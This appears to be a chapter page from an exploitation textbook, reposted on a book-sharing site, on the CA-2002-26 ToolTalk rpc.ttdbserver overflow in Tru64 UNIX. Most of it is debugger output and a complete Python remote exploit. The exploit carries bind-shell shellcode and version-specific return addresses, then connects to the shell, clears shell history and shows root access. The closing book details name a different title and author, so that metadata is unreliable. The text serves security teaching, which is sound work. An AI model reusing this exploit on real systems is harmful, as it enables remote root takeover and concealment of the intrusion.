Exploiting rpc.ttdbserver

We conclude the chapter by discussing the steps taken to assemble the exploit for the CA-2002-26 Buffer Overflow in CDE ToolTalk.

The overflow is in the _TT_CREATE_FILE procedure of the rpc.ttdbserver daemon. The file name that is unpacked from the RPC packet is copied into a static buffer of 1024 bytes, overwriting the saved program counter. It should be noted that this vulnerability behaves differently on other architectures; for example, exploitation in Solaris leads to a heap overflow, unlike the stack overflow in Tru64. Further information regarding the vulnerability can be obtained by visiting this book's Web site ( www. wiley .com/compbooks/koziol ).

In order to reproduce the vulnerability, we should write the proof of concept code that will pack the data structure and call the vulnerable RPC procedure. So, we start writing the exploit without knowing much about the layout of the stack and other minor stuff. After putting together a simple RPC client that calls the _TT_CREATE_FILE procedure with a filename longer than 1024, we should get a / core file in return without much hassle. In our lab environment we started with writing this simple exploit that sends 1024 A characters followed by the quadword 0xdedeadcaf0 . Running the exploit produced a core file as expected, but our initial gdb sessions show that we have alignment problems. The location of the return address is incorrect; we needed to add six more characters at the end of our large AAAA. . . buffer. After running with the new alignment setup, gdb produced the following lovely output:

 bash# file /core /core:     core dump, generated from 'rpc.ttdbserverd' bash# gdb dt/bin/rpc.ttdbserverd /core GNU gdb 5.3 .... etc etc. Reading symbols from /usr/shlib/libexc.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libexc.so     warning: Hit heuristic-fence-post without finding     warning: enclosing function for address 0xdedeadcaf0 This warning occurs if you are debugging a function without any symbols (for example, in a stripped executable).  In that case, you may wish to increase the size of the search with the `set heuristic-fence-post' command.     Otherwise, you told GDB there was a function where there isn't one, or (more likely) you have encountered a bug in GDB. #0  0x000000dedeadcaf0 in ?? () (gdb) info reg v0             0x0     0 t0             0x0     0 t1             0x3ffc0087b80     4396973325184 t2             0x3ffc0087bb0     4396973325232 t3             0xa80     2688 t4             0x0     0 t5             0x0     0 t6             0x3ffc0087b80     4396973325184 t7             0x1     1 s0             0x11fff9848     4831811656 s1             0x11fff9858     4831811672 s2             0x1     1 s3             0x3ff80c528d0     4395911948496 s4             0x120014c30     4831923248 s5             0x140033b60     5368920928 fp             0x8     8 a0             0x11fff9368     4831810408 a1             0x1     1 a2             0xffffffffffffffeb     -21 a3             0x1     1 a4             0x1     1 a5             0x1     1 t8             0x140037300     5368935168 t9             0x0     0 t10            0x0     0 t11            0xdedeadca     3739135434 ra             0xdedeadcaf0     957218671344 t12            0x3ff80ca5aa0     4395912288928 at             0xdedeadca     3739135434 gp             0x3ffc0367380     4396976337792 sp             0x11fff97d0     4831811536 zero           0x0     0 fpcr           0x0     0 pc             0xdedeadcaf0     957218671344 vfp            0x0     0 

As you can see, we were able to gain exact control of the program counter without much trouble. Next, we modified our exploit by adding nop opcode bytes instead of the A characters, and appended the bind shell shellcode at the end of the 1024-byte block. Here is how we managed our exploit buffer:

 expbuf = "\x1f\x04\xff\x47" * ((1024-len(shellcode)) / 4) +\              shellcode + "123456" + retaddr 

1024 bytes minus the shellcode size divided by 4 is the number of nop opcode bytes that can fit into the exploit buffer. That is followed by the shellcode, alignment bytes, and the return address. We run the exploit once again with the same return address and debug the core, this time to locate our payload. We search the address space starting from the end of the data section toward the process heap, with the hope of locating the overflow payload somewhere in the heap.

 (gdb) set $l = 0x0140000000 (gdb)while $l != 0x47ff041f  >set $l = $l + 1  >end (gdb) x/x $l 0x140035500:     0x47ff041f (gdb) x/40x $l 0x140035500:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035510:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035520:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035530:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035540:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035550:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035560:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035570:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035580:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f 0x140035590:     0x47ff041f     0x47ff041f     0x47ff041f     0x47ff041f (gdb) x/i $l 0x140035500:     nop 

Success. We were lucky enough to locate a copy of the overflow payload in the heap segment, thus enabling ourselves with execution rights (unlike the payload being on the stack, which would have been useless). After locating the nop opcodes, we can safely choose an address within the payload, most efficiently somewhere in the middle to use as the return address. We picked 0x01400355a8 for Tru64 5.0A, which ended up being a perfect choice, because we found high reliability with this return address. For Tru64 5.1, 0x0140037580 was a good pick.

We also advise you to shift through the overflow payload and look for corruptions that might lead to problems during nop or shellcode execution.

The following code shows the start of the XOR decoder located in the heap location that we discovered .

 (gdb) x/20i 0x140035500 + 1024  280 0x1400357e8:     nop      0x1400357ec:     nop      0x1400357f0:     lda     a0,-1000(sp) 0x1400357f4:     addq     a0,0x30,a2 0x1400357f8:     mov     0x86,a1 0x1400357fc:     stl     a1,-4(a0) 0x140035800:     stl     a1,-4(a2) 0x140035804:     bsr     a0,0x1400357f4 0x140035808:     addq     a0,0xf8,a5 0x14003580c:     addq     a0,0x34,a4 0x140035810:     addq     zero,0xc4,a3 0x140035814:     ldl     a1,-4(a5) 0x140035818:     addq     a0,0x30,a0 0x14003581c:     ldl     a2,-4(a4) 0x140035820:     subq     a3,0x4,a3 0x140035824:     xor     a2,a1,a2 0x140035828:     stl     a2,-4(a4) 0x14003582c:     addq     a4,0x4,a4 0x140035830:     bne     a3,0x14003581c 0x140035834:     .long 0x41414141 

Everything seems pretty well-aligned, with no corruptions on the payload. Finally, successful exploitation was achieved without any further challenges.

 # python ttdb_exp.py 192.168.10.44 6868 0 attacking 192.168.10.44 ... after 4-5 seconds hit ctrl+C, since rpc.py did not implemented timeouts  yet. lame i know! trying backdoor ...     OSF1 elnoir.alpha V5.0 910 alpha unset HISTFILE id uid=0(root) gid=0(system) ... 

Let's take a final look at the completed exploit.

 # noir@olympos.org # Tru64 5.0  5.1 rpc.ttdbserverd remote exploit import socket import os import xdr import rpc from rpc import Packer, Unpacker, TCPClient import sys import struct import telnetlib     class TTDBException(Exception):          def __init__(self, args=None):         self.args = args              def __str__(self):         return `self.args`     class TTDB_Packer(Packer):         def pack_ttdb_create_req(self, buf):         #file         self.pack_string(buf)             self.pack_uint(0)         #string         #self.pack_string('')         #array         #self.pack_uint(0)         #self.pack_string("\x01")                  self.pack_uint(0)         self.pack_uint(1)         self.pack_uint(777)     class TTDB_Client(TCPClient):         def __init__(self, target):         self.ttdb_d = { "PROGNUM": 100083, "VERSNUM": 1, "ISCREATE": 103 }                  TCPClient.__init__(self, target, self.ttdb_d["PROGNUM"],\      self.ttdb_d["VERSNUM"])         def addpackers(self):         self.packer = TTDB_Packer()         def mkcred(self):         import random         self.cred = rpc.AUTH_UNIX, rpc.make_auth_unix(random.randint(1,99999),\                                                       "localhost", 0, 0, [])         return self.cred          def iscreate(self, buf):         return self.make_call(self.ttdb_d["ISCREATE"], buf,\                               self.packer.pack_ttdb_create_req,\                               None)      class TTDBExploit(TTDB_Client):          def __init__(self, target="", buf="", timeout = 5):         self.tm = timeout         self.target = target         self.buf = buf              def set_target(self, ip):         try:             self.target = socket.gethostbyname(ip)         except socket.gaierror, err:             raise TTDBException, "TTDBExploit, Host: " + ip + " " + err[1]         def get_target(self):         return self.target          def set_buf(self, buf):         self.buf = buf         def get_buf(self):         return self.buf         def set_timeout(self, tm):         self.tm = tm         def get_timeout(self):         return self.tm         def setup(self):         try:             TTDB_Client.__init__(self, self.target)         except (socket.error, RuntimeError), self.err:             raise TTDBException, str(self.err)              def run(self):         try:             self.iscreate(self.buf)         except:             pass           if __name__ == "__main__":         usage = """\nUsage: ttdb_exp.py targethost bdport version [offset] bdport: port number for bind a shell version: 0 => Tru64 UNIX V5.0A version: 1 => Tru64 UNIX V5.1     ./ttdb_exp 172.16.1.23 6666 0 """     shellcode =\     "\x18\xfc\x1e\x22"+\     "\x12\x14\x06\x42"+\     "\x11\xd4\xf0\x47"+\     "\xfc\xff\x30\xb2"+\     "\xfc\xff\x32\xb2"+\     "\xfb\xff\x1f\xd2"+\     "\x15\x14\x1f\x42"+\     "\x14\x94\x06\x42"+\     "\x13\x94\xf8\x43"+\     "\xfc\xff\x35\xa2"+\     "\x10\x14\x06\x42"+\     "\xfc\xff\x54\xa2"+\     "\x33\x95\x60\x42"+\     "\x12\x08\x51\x46"+\     "\xfc\xff\x54\xb2"+\     "\x14\x94\x80\x42"+\     "\xfa\xff\x7f\xf6"+\     "\x41\x41\x41\x41"+\     "\x96\x79\x49\xcf"+\     "\x82\x1c\x9b\xca"+\     "\x83\x1c\x9d\xca"+\     "\x80\x88\x76\x3f"+\     "\x85\x9c\x9f\xca"+\     "\x88\x88\x36\x3d"+\     "\x88\xbc\x64\xcb"+\     "\x98\xdc\x68\xcb"+\     "\x99\xbc\x68\xcb"+\     "\x9a\x8c\x77\xcf"+\     "\x0b\x88\x88\x88"+\     "\x81\x8c\x88\xcc"+\     "\x98\x8c\xa1\xcd"+\     "\x99\x8c\xc2\xcd"+\     "\x88\x9c\x65\xcb"+\     "\x9a\x9c\x6a\xcb"+\     "\x0b\x88\x88\x88"+\     "\x98\x8c\xa1\xcd"+\     "\x9a\x3c\x68\xcb"+\     "\x88\xdc\x65\xcb"+\     "\x0b\x88\x88\x88"+\     "\x99\x8c\x77\xcf"+\     "\x98\x8c\xa1\xcd"+\     "\x9a\x8c\xe3\xcd"+\     "\x88\xfc\x64\xcb"+\     "\x0b\x88\x88\x88"+\     "\x84\x8c\x88\xcc"+\     "\x83\xdc\x68\xcb"+\     "\x98\x8c\x04\xcd"+\     "\x99\x8c\xe3\xcd"+\     "\x88\xdc\x63\xcb"+\     "\x0b\x88\x88\x88"+\     "\xa3\xbd\xe8\xc9"+\     "\x72\x77\xf7\x71"+\     "\x98\x8c\x25\xcd"+\     "\x99\x8c\x56\xcf"+\     "\x88\xfc\x6f\xcb"+\     "\x9a\x8c\x77\xcf"+\     "\x0b\x88\x88\x88"+\     "\x8a\x88\x97\x18"+\     "\x88\x88\x88\x88"+\     "\x88\x88\x88\x88"+\     "\x88\x88\x88\x88"+\     "\x98\x88\x88\x88"+\     "\x88\x88\x88\x88"+\     "\x88\x88\x88\x88"+\     "\xa7\xa7\xea\xe1"+\     "\xe6\xa7\xfb\xe0"+\     "\x88\x88\x88\x88"+\     "\x88\x88\x88\x88"         if len(sys.argv) < 4:         print usage         sys.exit(0)              offset = 0     if len(sys.argv) == 5:         offset += int(sys.argv[4], 10)              version = int(sys.argv[3],10)         if version != 0 and version != 1:         print usage         sys.exit(-1)          port = int(sys.argv[2], 10)     #bind shell port          port = port ^ 0x8888     shellcode = shellcode[:230] + struct.pack(">h", port) + shellcode[232:]               if not version:         retaddr = struct.pack("<Lb", 0x400355a8+offset, 0x01) #5.0A         #retaddr = struct.pack("<Lb", 0xdeadcaf0, 0xde) #test value     else:         retaddr = struct.pack("<Lb", 0x40037580+offset, 0x01) #5.1         #retaddr = struct.pack("<Lb", 0xdeadcaf0, 0xde) #test value          expbuf = "\x1f\x04\xff\x47" * ((1024-len(shellcode)) / 4) +\              shellcode + "123456" + retaddr                 ttdb = TTDBExploit(sys.argv[1], expbuf)          print "attacking "+ttdb.get_target()+" ..."     print "after 4-5 seconds hit ctrl+C, since rpc.py did not"+\           " implemented timeouts yet. lame i know!"          ttdb.setup()     ttdb.run()          try:         print "trying backdoor ..."         t = telnetlib.Telnet(sys.argv[1], int(sys.argv[2], 10))         t.write("unset HISTFILE;uname -a;\n")         print "\n"         t.interact()         t.close()     except socket.error:         print "not successful!, try again"              sys.exit(1) 


The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net